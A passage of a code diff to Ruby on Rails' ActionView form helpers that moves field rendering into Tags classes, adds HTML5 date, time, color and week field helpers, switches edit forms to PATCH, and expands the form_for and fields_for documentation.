       #     Biography : <%= text_area :person, :biography %>
-      #     Admin?    : <%= check_box_tag "person[admin]", @person.company.admin? %>
+      #     Admin?    : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
       #     <%= f.submit %>
       #   <% end %>
       #
@@ -176,26 +188,65 @@ module ActionView
       # are designed to work with an object as base, like
       # FormOptionHelper#collection_select and DateHelper#datetime_select.
       #
-      # === Resource-oriented style
+      # === #form_for with a model object
       #
-      # As we said above, in addition to manually configuring the +form_for+
-      # call, you can rely on automated resource identification, which will use
-      # the conventions and named routes of that approach. This is the
-      # preferred way to use +form_for+ nowadays.
+      # In the examples above, the object to be created or edited was
+      # represented by a symbol passed to +form_for+, and we noted that
+      # a string can also be used equivalently. It is also possible, however,
+      # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+      # is an existing record you wish to edit, you can create the form using
+      #
+      #   <%= form_for @post do |f| %>
+      #     ...
+      #   <% end %>
       #
-      # For example, if <tt>@post</tt> is an existing record you want to edit
+      # This behaves in almost the same way as outlined previously, with a
+      # couple of small exceptions. First, the prefix used to name the input
+      # elements within the form (hence the key that denotes them in the +params+
+      # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
+      # if the object's class is +Post+. However, this can be overwritten using
+      # the <tt>:as</tt> option, e.g. -
+      #
+      #   <%= form_for(@person, :as => :client) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # would result in <tt>params[:client]</tt>.
+      #
+      # Secondly, the field values shown when the form is initially displayed
+      # are taken from the attributes of the object passed to +form_for+,
+      # regardless of whether the object is an instance
+      # variable. So, for example, if we had a _local_ variable +post+
+      # representing an existing record,
+      #
+      #   <%= form_for post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # would produce a form with fields whose initial state reflect the current
+      # values of the attributes of +post+.
+      #
+      # === Resource-oriented style
+      #
+      # In the examples just shown, although not indicated explicitly, we still
+      # need to use the <tt>:url</tt> option in order to specify where the
+      # form is going to be sent. However, further simplification is possible
+      # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
+      # to a set of RESTful routes, e.g. defined using the +resources+ method
+      # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+      # appropriate URL from the record itself. For example,
       #
       #   <%= form_for @post do |f| %>
       #     ...
       #   <% end %>
       #
-      # is equivalent to something like:
+      # is then equivalent to something like:
       #
       #   <%= form_for @post, :as => :post, :url => post_path(@post), :method => :put, :html => { :class => "edit_post", :id => "edit_post_45" } do |f| %>
       #     ...
       #   <% end %>
       #
-      # And for new records
+      # And for a new record
       #
       #   <%= form_for(Post.new) do |f| %>
       #     ...
@@ -207,7 +258,7 @@ module ActionView
       #     ...
       #   <% end %>
       #
-      # You can also overwrite the individual conventions, like this:
+      # However you can still overwrite individual conventions, such as:
       #
       #   <%= form_for(@post, :url => super_posts_path) do |f| %>
       #     ...
@@ -219,13 +270,6 @@ module ActionView
       #     ...
       #   <% end %>
       #
-      # If you have an object that needs to be represented as a different
-      # parameter, like a Person that acts as a Client:
-      #
-      #   <%= form_for(@person, :as => :client) do |f| %>
-      #     ...
-      #   <% end %>
-      #
       # For namespaced routes, like +admin_post_url+:
       #
       #   <%= form_for([:admin, @post]) do |f| %>
@@ -246,11 +290,11 @@ module ActionView
       #
       # You can force the form to use the full array of HTTP verbs by setting
       #
-      #    :method => (:get|:post|:put|:delete)
+      #    :method => (:get|:post|:patch|:put|:delete)
       #
-      # in the options hash. If the verb is not GET or POST, which are natively supported by HTML forms, the
-      # form will be set to POST and a hidden input called _method will carry the intended verb for the server
-      # to interpret.
+      # in the options hash. If the verb is not GET or POST, which are natively
+      # supported by HTML forms, the form will be set to POST and a hidden input
+      # called _method will carry the intended verb for the server to interpret.
       #
       # === Unobtrusive JavaScript
       #
@@ -279,6 +323,24 @@ module ActionView
       #     ...
       #   </form>
       #
+      # === Setting HTML options
+      #
+      # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
+      # the HTML key. Example:
+      #
+      #   <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # The HTML generated for this would be:
+      #
+      #   <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+      #     <div style='margin:0;padding:0;display:inline'>
+      #       <input name='_method' type='hidden' value='put' />
+      #     </div>
+      #     ...
+      #   </form>
+      #
       # === Removing hidden model id's
       #
       # The form_for method automatically includes the model id as a hidden field in the form.
@@ -292,7 +354,7 @@ module ActionView
       # Example:
       #
       #   <%= form_for(@post) do |f| %>
-      #     <% f.fields_for(:comments, :include_id => false) do |cf| %>
+      #     <%= f.fields_for(:comments, :include_id => false) do |cf| %>
       #       ...
       #     <% end %>
       #   <% end %>
@@ -361,35 +423,36 @@ module ActionView
           object      = nil
         else
           object      = record.is_a?(Array) ? record.last : record
-          object_name = options[:as] || ActiveModel::Naming.param_key(object)
-          apply_form_for_options!(record, options)
+          raise ArgumentError, "First argument in form cannot contain nil or be empty" if object.blank?
+          object_name = options[:as] || model_name_from_record_or_class(object).param_key
+          apply_form_for_options!(record, object, options)
         end
 
+        options[:html][:data]   = options.delete(:data)   if options.has_key?(:data)
         options[:html][:remote] = options.delete(:remote) if options.has_key?(:remote)
         options[:html][:method] = options.delete(:method) if options.has_key?(:method)
         options[:html][:authenticity_token] = options.delete(:authenticity_token)
 
-        builder = options[:parent_builder] = instantiate_builder(object_name, object, options, &proc)
+        builder = options[:parent_builder] = instantiate_builder(object_name, object, options)
         fields_for = fields_for(object_name, object, options, &proc)
         default_options = builder.multipart? ? { :multipart => true } : {}
-        output = form_tag(options.delete(:url) || {}, default_options.merge!(options.delete(:html)))
-        output << fields_for
-        output.safe_concat('</form>')
+        default_options.merge!(options.delete(:html))
+
+        form_tag(options.delete(:url) || {}, default_options) { fields_for }
       end
 
-      def apply_form_for_options!(object_or_array, options) #:nodoc:
-        object = object_or_array.is_a?(Array) ? object_or_array.last : object_or_array
+      def apply_form_for_options!(record, object, options) #:nodoc:
         object = convert_to_model(object)
 
         as = options[:as]
-        action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :put] : [:new, :post]
+        action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
         options[:html].reverse_merge!(
-          :class  => as ? "#{as}_#{action}" : dom_class(object, action),
-          :id     => as ? "#{as}_#{action}" : dom_id(object, action),
+          :class  => as ? "#{action}_#{as}" : dom_class(object, action),
+          :id     => as ? "#{action}_#{as}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
           :method => method
         )
 
-        options[:url] ||= polymorphic_path(object_or_array, :format => options.delete(:format))
+        options[:url] ||= polymorphic_path(record, :format => options.delete(:format))
       end
       private :apply_form_for_options!
 
@@ -399,30 +462,59 @@ module ActionView
       #
       # === Generic Examples
       #
+      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+      # its method signature is slightly different. Like +form_for+, it yields
+      # a FormBuilder object associated with a particular model object to a block,
+      # and within the block allows methods to be called on the builder to
+      # generate fields associated with the model object. Fields may reflect
+      # a model object in two ways - how they are named (hence how submitted
+      # values appear within the +params+ hash in the controller) and what
+      # default values are shown when the form the fields appear in is first
+      # displayed. In order for both of these features to be specified independently,
+      # both an object name (represented by either a symbol or string) and the
+      # object itself can be passed to the method separately -
+      #
       #   <%= form_for @person do |person_form| %>
       #     First name: <%= person_form.text_field :first_name %>
       #     Last name : <%= person_form.text_field :last_name %>
       #
-      #     <%= fields_for @person.permission do |permission_fields| %>
+      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
       #       Admin?  : <%= permission_fields.check_box :admin %>
       #     <% end %>
       #
       #     <%= f.submit %>
       #   <% end %>
       #
-      # ...or if you have an object that needs to be represented as a different
-      # parameter, like a Client that acts as a Person:
+      # In this case, the checkbox field will be represented by an HTML +input+
+      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+      # If <tt>@person.permission</tt> is an existing record with an attribute
+      # +admin+, the initial state of the checkbox when first displayed will
+      # reflect the value of <tt>@person.permission.admin</tt>.
       #
-      #   <%= fields_for :person, @client do |permission_fields| %>
+      # Often this can be simplified by passing just the name of the model
+      # object to +fields_for+ -
+      #
+      #   <%= fields_for :permission do |permission_fields| %>
       #     Admin?: <%= permission_fields.check_box :admin %>
       #   <% end %>
       #
-      # ...or if you don't have an object, just a name of the parameter:
+      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+      # instance variable <tt>@permission</tt>, the initial state of the input
+      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+      #
+      # Alternatively, you can pass just the model object itself (if the first
+      # argument isn't a string or symbol +fields_for+ will realize that the
+      # name has been omitted) -
       #
-      #   <%= fields_for :person do |permission_fields| %>
+      #   <%= fields_for @person.permission do |permission_fields| %>
       #     Admin?: <%= permission_fields.check_box :admin %>
       #   <% end %>
       #
+      # and +fields_for+ will derive the required name of the field from the
+      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+      #
       # Note: This also works for the methods in FormOptionHelper and
       # DateHelper that are designed to work with an object as base, like
       # FormOptionHelper#collection_select and DateHelper#datetime_select.
@@ -597,8 +689,21 @@ module ActionView
       #     <% end %>
       #     ...
       #   <% end %>
+      #
+      # When a collection is used you might want to know the index of each
+      # object into the array. For this purpose, the <tt>index</tt> method
+      # is available in the FormBuilder object.
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Project #<%= project_fields.index %>
+      #       ...
+      #     <% end %>
+      #     ...
+      #   <% end %>
       def fields_for(record_name, record_object = nil, options = {}, &block)
-        builder = instantiate_builder(record_name, record_object, options, &block)
+        builder = instantiate_builder(record_name, record_object, options)
         output = capture(builder, &block)
         output.concat builder.hidden_field(:id) if output && options[:hidden_field_id] && !builder.emitted_hidden_id?
         output
@@ -615,15 +720,15 @@ module ActionView
       #   label(:post, :title)
       #   # => <label for="post_title">Title</label>
       #
-      #   You can localize your labels based on model and attribute names.
-      #   For example you can define the following in your locale (e.g. en.yml)
+      # You can localize your labels based on model and attribute names.
+      # For example you can define the following in your locale (e.g. en.yml)
       #
       #   helpers:
       #     label:
       #       post:
       #         body: "Write your entire text here"
       #
-      #   Which then will result in
+      # Which then will result in
       #
       #   label(:post, :body)
       #   # => <label for="post_body">Write your entire text here</label>
@@ -652,16 +757,7 @@ module ActionView
       #     'Accept <a href="/terms">Terms</a>.'.html_safe
       #   end
       def label(object_name, method, content_or_options = nil, options = nil, &block)
-        content_is_options = content_or_options.is_a?(Hash)
-        if content_is_options || block_given?
-          options = content_or_options if content_is_options
-          text = nil
-        else
-          text = content_or_options
-        end
-
-        options ||= {}
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_label_tag(text, options, &block)
+        Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
       end
 
       # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
@@ -683,7 +779,7 @@ module ActionView
       #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
       #
       def text_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("text", options)
+        Tags::TextField.new(object_name, method, self, options).render
       end
 
       # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
@@ -705,7 +801,7 @@ module ActionView
       #   # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
       #
       def password_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("password", { :value => nil }.merge!(options))
+        Tags::PasswordField.new(object_name, method, self, options).render
       end
 
       # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
@@ -723,7 +819,7 @@ module ActionView
       #   hidden_field(:user, :token)
       #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
       def hidden_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("hidden", options)
+        Tags::HiddenField.new(object_name, method, self, options).render
       end
 
       # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
@@ -744,7 +840,7 @@ module ActionView
       #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
       #
       def file_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("file", options.update({:size => nil}))
+        Tags::FileField.new(object_name, method, self, options).render
       end
 
       # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
@@ -772,7 +868,7 @@ module ActionView
       #   #      #{@entry.body}
       #   #    </textarea>
       def text_area(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_text_area_tag(options)
+        Tags::TextArea.new(object_name, method, self, options).render
       end
 
       # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
@@ -818,11 +914,10 @@ module ActionView
       # In that case it is preferable to either use +check_box_tag+ or to use
       # hashes instead of arrays.
       #
-      # ==== Examples
       #   # Let's say that @post.validated? is 1:
       #   check_box("post", "validated")
       #   # => <input name="post[validated]" type="hidden" value="0" />
-      #   #    <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
       #
       #   # Let's say that @puppy.gooddog is "no":
       #   check_box("puppy", "gooddog", {}, "yes", "no")
@@ -834,7 +929,7 @@ module ActionView
       #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
       #
       def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_check_box_tag(options, checked_value, unchecked_value)
+        Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
       end
 
       # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
@@ -844,7 +939,6 @@ module ActionView
       # To force the radio button to be checked pass <tt>:checked => true</tt> in the
       # +options+ hash. You may pass HTML options there as well.
       #
-      # ==== Examples
       #   # Let's say that @post.category returns "rails":
       #   radio_button("post", "category", "rails")
       #   radio_button("post", "category", "java")
@@ -856,74 +950,171 @@ module ActionView
       #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
       #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
       def radio_button(object_name, method, tag_value, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_radio_button_tag(tag_value, options)
+        Tags::RadioButton.new(object_name, method, self, tag_value, options).render
+      end
+
+      # Returns a text_field of type "color".
+      #
+      #   color_field("car", "color")
+      #   # => <input id="car_color" name="car[color]" type="color" value="#000000" />
+      #
+      def color_field(object_name, method, options = {})
+        Tags::ColorField.new(object_name, method, self, options).render
       end
 
       # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
       # some browsers.
       #
-      # ==== Examples
-      #
       #   search_field(:user, :name)
-      #   # => <input id="user_name" name="user[name]" size="30" type="search" />
+      #   # => <input id="user_name" name="user[name]" type="search" />
       #   search_field(:user, :name, :autosave => false)
-      #   # => <input autosave="false" id="user_name" name="user[name]" size="30" type="search" />
+      #   # => <input autosave="false" id="user_name" name="user[name]" type="search" />
       #   search_field(:user, :name, :results => 3)
-      #   # => <input id="user_name" name="user[name]" results="3" size="30" type="search" />
+      #   # => <input id="user_name" name="user[name]" results="3" type="search" />
       #   #  Assume request.host returns "www.example.com"
       #   search_field(:user, :name, :autosave => true)
-      #   # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" size="30" type="search" />
+      #   # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
       #   search_field(:user, :name, :onsearch => true)
-      #   # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" size="30" type="search" />
+      #   # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
       #   search_field(:user, :name, :autosave => false, :onsearch => true)
-      #   # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" size="30" type="search" />
+      #   # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
       #   search_field(:user, :name, :autosave => true, :onsearch => true)
-      #   # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" size="30" type="search" />
-      #
+      #   # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
       def search_field(object_name, method, options = {})
-        options = options.stringify_keys
-
-        if options["autosave"]
-          if options["autosave"] == true
-            options["autosave"] = request.host.split(".").reverse.join(".")
-          end
-          options["results"] ||= 10
-        end
-
-        if options["onsearch"]
-          options["incremental"] = true unless options.has_key?("incremental")
-        end
-
-        InstanceTag.new(object_name, method, self, options.delete("object")).to_input_field_tag("search", options)
+        Tags::SearchField.new(object_name, method, self, options).render
       end
 
       # Returns a text_field of type "tel".
       #
       #   telephone_field("user", "phone")
-      #   # => <input id="user_phone" name="user[phone]" size="30" type="tel" />
+      #   # => <input id="user_phone" name="user[phone]" type="tel" />
       #
       def telephone_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("tel", options)
+        Tags::TelField.new(object_name, method, self, options).render
       end
+      # aliases telephone_field
       alias phone_field telephone_field
 
+      # Returns a text_field of type "date".
+      #
+      #   date_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" />
+      #
+      # The default value is generated by trying to call "to_date"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone. You can still override that
+      # by passing the "value" option explicitly, e.g.
+      #
+      #   @user.born_on = Date.new(1984, 1, 27)
+      #   date_field("user", "born_on", value: "1984-05-12")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
+      #
+      def date_field(object_name, method, options = {})
+        Tags::DateField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "time".
+      #
+      # The default value is generated by trying to call +strftime+ with "%T.%L"
+      # on the objects's value. It is still possible to override that
+      # by passing the "value" option.
+      #
+      # === Options
+      # * Accepts same options as time_field_tag
+      #
+      # === Example
+      #   time_field("task", "started_at")
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" />
+      #
+      def time_field(object_name, method, options = {})
+        Tags::TimeField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "datetime".
+      #
+      #   datetime_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T.%L%z"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 12)
+      #   datetime_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
+      #
+      def datetime_field(object_name, method, options = {})
+        Tags::DatetimeField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "datetime-local".
+      #
+      #   datetime_local_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 12)
+      #   datetime_local_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
+      #
+      def datetime_local_field(object_name, method, options = {})
+        Tags::DatetimeLocalField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "month".
+      #
+      #   month_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="month" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 27)
+      #   month_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
+      #
+      def month_field(object_name, method, options = {})
+        Tags::MonthField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "week".
+      #
+      #   week_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="week" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-W%W"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 5, 12)
+      #   week_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
+      #
+      def week_field(object_name, method, options = {})
+        Tags::WeekField.new(object_name, method, self, options).render
+      end
+
       # Returns a text_field of type "url".
       #
       #   url_field("user", "homepage")
-      #   # => <input id="user_homepage" size="30" name="user[homepage]" type="url" />
+      #   # => <input id="user_homepage" name="user[homepage]" type="url" />
       #
       def url_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("url", options)
+        Tags::UrlField.new(object_name, method, self, options).render
       end
 
       # Returns a text_field of type "email".
       #
       #   email_field("user", "address")
-      #   # => <input id="user_address" size="30" name="user[address]" type="email" />
+      #   # => <input id="user_address" name="user[address]" type="email" />
       #
       def email_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("email", options)
+        Tags::EmailField.new(object_name, method, self, options).render
       end
 
       # Returns an input tag of type "number".
@@ -931,7 +1122,7 @@ module ActionView
       # ==== Options
       # * Accepts same options as number_field_tag
       def number_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_number_field_tag("number", options)
+        Tags::NumberField.new(object_name, method, self, options).render
       end
 
       # Returns an input tag of type "range".
@@ -939,289 +1130,41 @@ module ActionView
       # ==== Options
       # * Accepts same options as range_field_tag
       def range_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_number_field_tag("range", options)
+        Tags::RangeField.new(object_name, method, self, options).render
       end
 
       private
 
-        def instantiate_builder(record_name, record_object, options, &block)
+        def instantiate_builder(record_name, record_object, options)
           case record_name
           when String, Symbol
             object = record_object
             object_name = record_name
           else
             object = record_name
-            object_name = ActiveModel::Naming.param_key(object)
+            object_name = model_name_from_record_or_class(object).param_key
           end
 
-          builder = options[:builder] || ActionView::Base.default_form_builder
-          builder.new(object_name, object, self, options, block)
+          builder = options[:builder] || default_form_builder
+          builder.new(object_name, object, self, options)
         end
-    end
-
-    class InstanceTag
-      include Helpers::CaptureHelper, Context, Helpers::TagHelper, Helpers::FormTagHelper
-
-      attr_reader :object, :method_name, :object_name
-
-      DEFAULT_FIELD_OPTIONS     = { "size" => 30 }
-      DEFAULT_RADIO_OPTIONS     = { }
-      DEFAULT_TEXT_AREA_OPTIONS = { "cols" => 40, "rows" => 20 }
-
-      def initialize(object_name, method_name, template_object, object = nil)
-        @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
-        @template_object = template_object
-        @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
-        @object = retrieve_object(object)
-        @auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
-      end
 
-      def to_label_tag(text = nil, options = {}, &block)
-        options = options.stringify_keys
-        tag_value = options.delete("value")
-        name_and_id = options.dup
-
-        if name_and_id["for"]
-          name_and_id["id"] = name_and_id["for"]
-        else
-          name_and_id.delete("id")
-        end
-
-        add_default_name_and_id_for_value(tag_value, name_and_id)
-        options.delete("index")
-        options["for"] ||= name_and_id["id"]
-
-        if block_given?
-          label_tag(name_and_id["id"], options, &block)
-        else
-          content = if text.blank?
-            method_and_value = tag_value.present? ? "#{method_name}.#{tag_value}" : method_name
-            I18n.t("helpers.label.#{object_name}.#{method_and_value}", :default => "").presence
-          else
-            text.to_s
-          end
-
-          content ||= if object && object.class.respond_to?(:human_attribute_name)
-            object.class.human_attribute_name(method_name)
-          end
-
-          content ||= method_name.humanize
-
-          label_tag(name_and_id["id"], content, options)
-        end
-      end
-
-      def to_input_field_tag(field_type, options = {})
-        options = options.stringify_keys
-        options["size"] = options["maxlength"] || DEFAULT_FIELD_OPTIONS["size"] unless options.key?("size")
-        options = DEFAULT_FIELD_OPTIONS.merge(options)
-        if field_type == "hidden"
-          options.delete("size")
-        end
-        options["type"]  ||= field_type
-        options["value"] = options.fetch("value"){ value_before_type_cast(object) } unless field_type == "file"
-        options["value"] &&= ERB::Util.html_escape(options["value"])
-        add_default_name_and_id(options)
-        tag("input", options)
-      end
-
-      def to_number_field_tag(field_type, options = {})
-        options = options.stringify_keys
-        options['size'] ||= nil
-
-        if range = options.delete("in") || options.delete("within")
-          options.update("min" => range.min, "max" => range.max)
-        end
-        to_input_field_tag(field_type, options)
-      end
-
-      def to_radio_button_tag(tag_value, options = {})
-        options = DEFAULT_RADIO_OPTIONS.merge(options.stringify_keys)
-        options["type"]     = "radio"
-        options["value"]    = tag_value
-        if options.has_key?("checked")
-          cv = options.delete "checked"
-          checked = cv == true || cv == "checked"
-        else
-          checked = self.class.radio_button_checked?(value(object), tag_value)
-        end
-        options["checked"]  = "checked" if checked
-        add_default_name_and_id_for_value(tag_value, options)
-        tag("input", options)
-      end
-
-      def to_text_area_tag(options = {})
-        options = DEFAULT_TEXT_AREA_OPTIONS.merge(options.stringify_keys)
-        add_default_name_and_id(options)
-
-        if size = options.delete("size")
-          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
-        end
-
-        content_tag("textarea", ERB::Util.html_escape(options.delete('value') || value_before_type_cast(object)), options)
-      end
-
-      def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
-        options = options.stringify_keys
-        options["type"]     = "checkbox"
-        options["value"]    = checked_value
-        if options.has_key?("checked")
-          cv = options.delete "checked"
-          checked = cv == true || cv == "checked"
-        else
-          checked = self.class.check_box_checked?(value(object), checked_value)
-        end
-        options["checked"] = "checked" if checked
-        if options["multiple"]
-          add_default_name_and_id_for_value(checked_value, options)
-          options.delete("multiple")
-        else
-          add_default_name_and_id(options)
-        end
-        hidden = tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
-        checkbox = tag("input", options)
-        (hidden + checkbox).html_safe
-      end
-
-      def to_boolean_select_tag(options = {})
-        options = options.stringify_keys
-        add_default_name_and_id(options)
-        value = value(object)
-        tag_text = "<select"
-        tag_text << tag_options(options)
-        tag_text << "><option value=\"false\""
-        tag_text << " selected" if value == false
-        tag_text << ">False</option><option value=\"true\""
-        tag_text << " selected" if value
-        tag_text << ">True</option></select>"
-      end
-
-      def to_content_tag(tag_name, options = {})
-        content_tag(tag_name, value(object), options)
-      end
-
-      def retrieve_object(object)
-        if object
-          object
-        elsif @template_object.instance_variable_defined?("@#{@object_name}")
-          @template_object.instance_variable_get("@#{@object_name}")
-        end
-      rescue NameError
-        # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.
-        nil
-      end
-
-      def retrieve_autoindex(pre_match)
-        object = self.object || @template_object.instance_variable_get("@#{pre_match}")
-        if object && object.respond_to?(:to_param)
-          object.to_param
-        else
-          raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
-        end
-      end
-
-      def value(object)
-        self.class.value(object, @method_name)
-      end
-
-      def value_before_type_cast(object)
-        self.class.value_before_type_cast(object, @method_name)
-      end
-
-      class << self
-        def value(object, method_name)
-          object.send method_name if object
-        end
-
-        def value_before_type_cast(object, method_name)
-          unless object.nil?
-            object.respond_to?(method_name + "_before_type_cast") ?
-            object.send(method_name + "_before_type_cast") :
-            object.send(method_name)
-          end
-        end
-
-        def check_box_checked?(value, checked_value)
-          case value
-          when TrueClass, FalseClass
-            value
-          when NilClass
-            false
-          when Integer
-            value != 0
-          when String
-            value == checked_value
-          when Array
-            value.include?(checked_value)
-          else
-            value.to_i != 0
-          end
-        end
-
-        def radio_button_checked?(value, checked_value)
-          value.to_s == checked_value.to_s
-        end
-      end
-
-      private
-        def add_default_name_and_id_for_value(tag_value, options)
-          unless tag_value.nil?
-            pretty_tag_value = tag_value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
-            specified_id = options["id"]
-            add_default_name_and_id(options)
-            options["id"] += "_#{pretty_tag_value}" if specified_id.blank? && options["id"].present?
-          else
-            add_default_name_and_id(options)
-          end
-        end
-
-        def add_default_name_and_id(options)
-          if options.has_key?("index")
-            options["name"] ||= tag_name_with_index(options["index"])
-            options["id"] = options.fetch("id"){ tag_id_with_index(options["index"]) }
-            options.delete("index")
-          elsif defined?(@auto_index)
-            options["name"] ||= tag_name_with_index(@auto_index)
-            options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) }
-          else
-            options["name"] ||= tag_name + (options['multiple'] ? '[]' : '')
-            options["id"] = options.fetch("id"){ tag_id }
-          end
-        end
-
-        def tag_name
-          "#{@object_name}[#{sanitized_method_name}]"
-        end
-
-        def tag_name_with_index(index)
-          "#{@object_name}[#{index}][#{sanitized_method_name}]"
-        end
-
-        def tag_id
-          "#{sanitized_object_name}_#{sanitized_method_name}"
-        end
-
-        def tag_id_with_index(index)
-          "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
-        end
-
-        def sanitized_object_name
-          @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
-        end
-
